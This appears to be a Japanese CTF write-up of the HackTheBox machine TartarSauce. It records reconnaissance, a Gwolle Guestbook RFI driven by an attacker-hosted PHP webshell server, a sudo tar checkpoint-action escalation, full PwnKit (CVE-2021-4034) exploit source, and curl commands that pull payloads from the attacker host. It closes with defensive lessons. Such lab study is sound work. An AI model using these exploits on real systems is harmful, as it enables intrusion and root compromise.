HackTheBox: TartarSauce — 全実行コマンド・実行結果レポート
Nmap + robots.txt
/webservices/ 配下開示
→
/webservices/ 配下開示
Gwolle Guestbook 1.5.3 RFI
exploit-db 38861 + catch-allサーバー
→
exploit-db 38861 + catch-allサーバー
sudo tar GTFOBins
checkpoint-action(onuma)
→
checkpoint-action(onuma)
user.txt ✓
→
pkexec SUID発見
CVE-2021-4034 (PwnKit)
→
CVE-2021-4034 (PwnKit)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.1.185
RESULT
PORT STATE SERVICE
80/tcp open http
(21/22/53/443/8080等は全てclosed — Webのみが攻撃対象)
HTTPヘッダー・トップページ確認
BASH
curl -sI --max-time 10 http://10.129.1.185 curl -s http://10.129.1.185/
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 21 Feb 2018 20:31:20 GMT
<h1>Welcome to TartarSauce</h1>
(ASCIIアートの装飾のみ、実質的な導線なし)
robots.txt — 隠しディレクトリの手がかり
BASH
curl -s --max-time 10 http://10.129.1.185/robots.txt
RESULT
User-agent: * Disallow: /webservices/tar/tar/source/ Disallow: /webservices/monstra-3.0.4/ Disallow: /webservices/easy-file-uploader/ Disallow: /webservices/developmental/ Disallow: /webservices/phpmyadmin/
🚨
典型的な「隠したつもりが逆に手がかりになる」robots.txt。
複数のCMS/ツール(monstra、phpmyadmin等)が同居しているが、gobusterで
/webservices/wp(WordPress、robots.txtには載っていない)も別途発見。
WordPress + Gwolle Guestbook のバージョン偽装を見抜く
BASH
wpscan --url http://10.129.1.185/webservices/wp/ --enumerate p 2>&1 | grep -A5 gwolle # WPScanは README の Stable tag: 2.3.10 表記を鵜呑みにして「2.3.10」と報告するが、 # 実際にインストールされているのは 1.5.3 (readme.txt の改ざんでWPScanを欺いている) curl -s http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt | head -5
RESULT
=== Gwolle Guestbook ===
Stable tag: 2.3.10 ← README上の表記(改ざん・欺瞞)
...
(実際の脆弱コード・ディレクトリ構造から実質 1.5.3 相当と判明)
⚠️
重要な罠: readme.txt の版数表記は管理者によって意図的に
改ざんされており、自動脆弱性スキャナ(WPScan)に「パッチ済み」と誤認させる
設計になっている。実際には Gwolle Guestbook 1.5.3 の
ajaxresponse.php(exploit-db 38861)にRFI脆弱性が残っている。
PHASE 2
Gwolle Guestbook RFI → catch-all webshellサーバーでRCE確立
脆弱パラメータの原理
NOTE
ajaxresponse.php の abspath パラメータは、値をそのままリモートURLとして
include() する Remote File Inclusion (RFI) 脆弱性を持つ (exploit-db 38861)。
GET /webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php
?abspath=<攻撃者URL>&c=<実行したいコマンド>
内部の正確な相対パス連結ロジック(wp-load.php等)はコードを読まないと
特定できないため、代わりに攻撃者側で「どのパスへのリクエストにも
同一のPHP webshellペイロードを返す」catch-allサーバーを立てることで、
正確なパスを推測する必要を完全に回避する。
catch-all webshellサーバーの起動
PYTHON
import http.server
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
body = b'<?php system($_GET["c"]); ?>'
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
http.server.HTTPServer(("0.0.0.0", 8093), H).serve_forever()
ℹ️
どのパスへのGETリクエストにも同一の
<?php system($_GET["c"]); ?>
を返す。ターゲットのRFIがどんな相対パスでincludeしても、必ずこのwebshell
コードが読み込まれる。
RFIトリガー送信 → RCE確認
BASH
curl -s -G \ --data-urlencode "abspath=http://<kali_ip>:8093/" \ --data-urlencode "c=id" \ "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE確立成功。 このHTTPリクエスト1回ごとに1コマンド実行という
ステートレスな仕組みのため、以降の全ての操作(ファイル作成、権限昇格トリガー等)
はこの
abspath+c パラメータの組み合わせで行う。
PHASE 3
sudo tar checkpoint GTFOBins → onuma権限 → user.txt
sudo -l で発見した設定ミス
BASH
# RCE経由で sudo -l
RESULT
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass, secure_path=...
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
🚨
www-data は onuma 権限で /bin/tar をパスワードなしで実行できる。
tar には GTFOBins
に載っている
--checkpoint/--checkpoint-action オプションの
悪用で任意コマンド実行に昇格できる古典的な手法が使える。
checkpoint-action GTFOBinsトリガー(実行コマンド全文)
BASH (RCEで実行するワンライナー全文)
cd /dev/shm && rm -rf ts_tar2 && mkdir ts_tar2 && cd ts_tar2 && \
echo > '--checkpoint=1' && \
echo > '--checkpoint-action=exec=sh shell.sh' && \
printf '#!/bin/sh\ncat /home/onuma/user.txt > /tmp/.ts_onuma_out 2>&1\n' > shell.sh && \
chmod +x shell.sh && \
chmod 777 . && \
sudo -u onuma /bin/tar cf archive.tar * >/dev/null 2>&1
⚠️
ライブ検証で発見した落とし穴:
mkdir で作成した
ts_tar2 ディレクトリは www-data所有・mode 755 で
作られるため、sudo -u onuma で実行される tar プロセスは
このディレクトリへ archive.tar を書き込めず
"Cannot open: Permission denied"(exit 2)で失敗し、
checkpoint-action が一度も発火しない。作業ディレクトリを
chmod 777 しておくことでonumaにも書込み権限を与え、
この失敗を回避する。
NOTE — 動作原理
tar は展開/圧縮N個ごとに任意アクションを実行する --checkpoint 機能を持つ。 ファイル名が偶然にも "--checkpoint=1" や "--checkpoint-action=..." に 一致するファイルを作業ディレクトリに置き、それらを * グロブで tar の「アーカイブ対象ファイル」として渡すと、tar 自身がこれらの ファイル名をコマンドラインオプションとして誤認識・再解釈してしまう。 これにより sudo 経由で /bin/tar を onuma 権限で起動しただけのつもりが、 実際には任意の shell.sh を onuma 権限で実行させることができる。
結果ファイルの読み出し → user.txt取得
BASH
curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \ --data-urlencode "c=cat /tmp/.ts_onuma_out 2>/dev/null" \ "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php"
RESULT
658fc80539e14d50a47d277f672fed9a
user.txt — onuma
658fc80539e14d50a47d277f672fed9a
PHASE 4
権限昇格の下調べ — SUIDバイナリ探索とPwnKitの発見
当初想定していたbackupererレース条件の検証と断念
NOTE
本機には onuma 権限で /var/www/html を /var/tmp/.<random> へ tar 化し
30秒後に root 権限で展開・整合性チェックする systemd timer
"backuperer.service" が5分間隔で存在する。整合性チェック失敗時に
展開済みファイルが削除されずに残る欠陥を突き、一時ファイルを
悪意tar.gzで上書きするレース条件が定石として知られている。
しかし実機で詳細検証したところ:
- 一時ファイルは onuma 所有・mode 644 で作成されるため、www-data
からは直接上書き不可(sticky bitの/var/tmpでもrename/削除も不可)。
- /var/tmp/check を狙った symlink 差し替え(mkdir失敗→tar -C 経由で
symlink先へ展開させる手法)も、1秒間隔での高頻度symlink再設置を
複数サイクルにわたって試したが、展開先に一切ファイルが現れず、
根本原因を確定できなかった。
このため本機では backuperer レースは採用せず、より確実な別の権限昇格
経路を探すことにした。
SUIDバイナリ探索 — pkexecを発見
BASH
find / -perm -4000 -type f 2>/dev/null
RESULT (抜粋)
/bin/su
/bin/mount
/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
...
BASH
uname -a pkexec --version dpkg -l | grep policykit
RESULT
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP i686 GNU/Linux pkexec version 0.105 ii policykit-1 0.105-14.1 i386 framework for managing administrative policies
🚨
2018年ビルドの古いシステムに pkexec (policykit-1 0.105) が
SUIDで存在。 このバージョンは CVE-2021-4034「PwnKit」
(2022年1月公開、pkexecのargv[0]欠落処理の不備を突きGCONV_PATH経由で
任意の共有ライブラリをroot権限でロードさせる脆弱性)に該当する。
2009年頃から2022年1月のパッチまでのほぼ全Linuxディストリビューションが
影響を受けた著名な脆弱性。
PHASE 5
CVE-2021-4034 (PwnKit) エクスプロイト → root.txt
エクスプロイト構成(2ファイル)
NOTE
PwnKitは2つのプログラムで構成される:
1. evil.so — gconvモジュールを装った悪意共有ライブラリ。ロードされた
瞬間に gconv_init() が root権限で実行される。
2. exploit — pkexec を「空のargv(argv[0]すら存在しない)」で execve()
するランチャー。この不正な呼び出し方がpkexec内部の
環境変数処理を混乱させ、GCONV_PATH環境変数を悪用して
evil.so を root権限でロードさせる。
PYTHON (evil-so.c — 生syscallのみ使用)
#include <sys/syscall.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
syscall(SYS_setuid, 0);
syscall(SYS_setgid, 0);
syscall(SYS_setgroups, 0, 0);
char *argv[] = {"/bin/sh", "-c",
"cat /root/root.txt > /tmp/.ts_root_pwn; chmod 644 /tmp/.ts_root_pwn", 0};
char *envp[] = {0};
syscall(SYS_execve, "/bin/sh", argv, envp);
}
PYTHON (exploit.c — 公開PoC ryaagard/CVE-2021-4034 準拠)
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main() {
char *envp[] = { DIR, "PATH=GCONV_PATH=.", "SHELL=x", "CHARSET=x", NULL };
char *argv[] = { NULL }; // ← argv[0]すら無い不正な呼び出し
system("mkdir -p GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir -p " DIR);
system("echo 'module\tINTERNAL\t\t\tx//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
}
重要な落とし穴 — glibcバージョン不一致
BASH (最初の失敗)
gcc -m32 -o exploit exploit.c gcc -m32 -shared -o evil.so -fPIC evil-so.c # → ターゲットへ転送して実行 ./exploit
RESULT
./exploit: /lib/i386-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exploit)
⚠️
ビルド環境(Kali、glibc 2.34以降)とターゲット(2018年当時のUbuntu、
古いglibc)のバージョン差により、通常リンクした32bitバイナリはそのままでは
起動不能だった。攻撃側マシンの最新glibcでリンクされたバイナリの
バージョン付きシンボル(
setuid@GLIBC_2.34等)が、
ターゲットの古いglibcには存在しないため。
BASH (修正 — 静的リンク + 生syscall)
# exploit本体は完全に自己完結する静的バイナリとしてビルド gcc -m32 -static -o exploit exploit.c # evil.so は -nostdlib + syscall() 直呼び出しでバージョン付きシンボル要求を排除 gcc -m32 -shared -o evil.so -fPIC -nostdlib evil-so.c
✅
exploit ランチャーは -static でターゲットのglibcに
一切依存しない完全自己完結バイナリにし、evil.so は
-nostdlib と syscall()直呼び出し(setuid/setgid/execveの
ラッパー関数を経由しない生システムコール)によって、バージョン付きシンボルへの
依存を完全に排除した。syscall自体はpkexecプロセスに既にロード
済みのターゲット自身のlibcから解決されるため、バージョン不一致の影響を受けない。
エクスプロイト転送・実行
BASH
# catch-allサーバーへ /pwnexploit, /evilso エンドポイントを追加後、 # RCE経由でダウンロード・実行 curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \ --data-urlencode "c=mkdir -p /dev/shm/pwnkit && cd /dev/shm/pwnkit && \ curl -s -o exploit http://<kali_ip>:8093/pwnexploit && \ curl -s -o evil.so http://<kali_ip>:8093/evilso && chmod +x exploit" \ "http://10.129.1.185/.../ajaxresponse.php" curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \ --data-urlencode "c=cd /dev/shm/pwnkit && ./exploit" \ "http://10.129.1.185/.../ajaxresponse.php" curl -s -G --data-urlencode "abspath=http://<kali_ip>:8093/" \ --data-urlencode "c=cat /tmp/.ts_root_pwn" \ "http://10.129.1.185/.../ajaxresponse.php"
RESULT
-rw-r--r-- 1 root root 33 Sep 5 06:50 /tmp/.ts_root_pwn a37e44705e89c90bf877a943f3f28078
✅
PwnKit成功! 出力ファイルの所有者が
root:root に
なっている点が、root権限でのコード実行が本当に成立したことの動かぬ証拠。
root.txt — root@TartarSauce
a37e44705e89c90bf877a943f3f28078
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — onuma
658fc80539e14d50a47d277f672fed9a
root.txt — root
a37e44705e89c90bf877a943f3f28078
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| バージョン表記の改ざん | Gwolle Guestbook README | 脆弱性スキャナの欺瞞 | High | readme.txtのStable tagを実際より新しい値に書き換えWPScanを欺く |
| Gwolle Guestbook 1.5.3 RFI | ajaxresponse.php (exploit-db 38861) | リモートコード実行 (www-data) | Critical | abspathパラメータでリモートPHPをinclude、catch-allサーバーでパス推測を回避 |
| sudo tar (GTFOBins) | onumaユーザーのNOPASSWD tar | 権限昇格 (www-data → onuma) | High | –checkpoint/–checkpoint-actionオプションを偽装ファイル名で誤認識させ任意コマンド実行 |
| CVE-2021-4034 (PwnKit) | pkexec (policykit-1 0.105) | 権限昇格 (onuma/www-data → root) | Critical | argv[0]欠落のpkexec呼び出しでGCONV_PATH経由の悪意gconvモジュールをroot権限でロード |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + robots.txt + gobuster | 80/tcpのみ、/webservices/配下の複数CMS発見 |
| 2 | RFI RCE | catch-all webshellサーバー + abspath注入 | www-data権限のRCE確立 |
| 3 | 権限昇格① | sudo tar checkpoint GTFOBins | user.txt(onuma権限) |
| 4 | 下調べ | SUIDバイナリ探索 + カーネル/OS年代確認 | pkexec 0.105 SUID発見 → CVE-2021-4034該当と判断 |
| 5 | 権限昇格② | PwnKit (静的リンク+生syscallで旧glibc対応) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| プラグインのREADMEバージョン表記が改ざんされ脆弱性スキャナを欺く | バージョン判定をREADME表記だけに頼らず、実際のコードのハッシュ/構造で検証する。定期的な手動コードレビューを実施する。 |
| Gwolle Guestbook 1.5.3 の未認証RFI脆弱性 | サードパーティプラグインは既知CVEを常に確認し速やかにアップデートする。allow_url_includeをPHP側で無効化する。 |
| sudoでの/bin/tar無制限実行許可 (GTFOBins該当コマンド) | sudoersでは特定のサブコマンド・引数パターンまで厳密に制限する(ワイルドカード的な許可を避ける)。GTFOBinsのようなデータベースで許可コマンドを事前チェックする。 |
| 2018年当時のpolicykit-1 0.105 (CVE-2021-4034)が未パッチのまま放置 | OS/パッケージの定期アップデートを徹底する。特にSUIDバイナリを持つパッケージ(policykit-1等)は重大な権限昇格CVEの温床になりやすいため優先度高くパッチ管理する。 |

